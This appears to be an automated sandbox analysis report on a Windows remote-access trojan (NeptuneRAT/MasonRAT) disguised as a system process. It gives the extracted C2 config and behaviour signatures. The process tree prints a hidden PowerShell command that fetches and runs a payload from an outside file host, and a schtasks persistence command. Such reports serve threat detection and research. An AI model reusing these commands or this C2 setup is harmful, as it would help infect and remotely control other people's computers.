Analysis
- max time kernel
896s - max time network
901s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
- submitted
17/10/2026, 07:55
General
- Target Host Ptocess for Wimdows Tasks.exe
- Size 50KB
- Sample261017-jskcmsbz2m
- SHA256 43f2fa217be0267c2651706bec4b61be930274fbeb32053e2ebe275b7c9ee989
Malware Config
Extracted
-
neptunerat
-
modxza7f-46948.portmap.host:46948
-
filename
USB.exe
-
group
MasonGroup
-
key
ep54d754SlLJQaS6
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Host Ptocess for Wimdows Tasks.exe"C:\Users\Admin\AppData\Local\Temp\Host Ptocess for Wimdows Tasks.exe"1⤵
- Checks computer location settings
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Host Ptocess for Wimdows Tasks" /tr "C:\Users\Admin\AppData\Roaming\Host Ptocess for Wimdows Tasks.exe"2⤵
- Scheduled Task/Job: Scheduled Task
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_0wbvus4r.bzc.ps1
memory/2956-2-0x000001A241F70000-0x000001A241F80000-memory.dmp
memory/2956-1-0x000001A241F70000-0x000001A241F80000-memory.dmp
memory/2956-5-0x000001A241F40000-0x000001A241F62000-memory.dmp
memory/2956-11-0x000001A241F70000-0x000001A241F80000-memory.dmp
memory/2956-12-0x000001A241F70000-0x000001A241F80000-memory.dmp
memory/2956-13-0x000001A241F70000-0x000001A241F80000-memory.dmp
memory/2956-14-0x000001A241F70000-0x000001A241F80000-memory.dmp
memory/3520-0-0x0000000000F00000-0x0000000000F12000-memory.dmp
memory/3520-17-0x000000001BA50000-0x000000001BA60000-memory.dmp
memory/3520-18-0x000000001BA50000-0x000000001BA60000-memory.dmp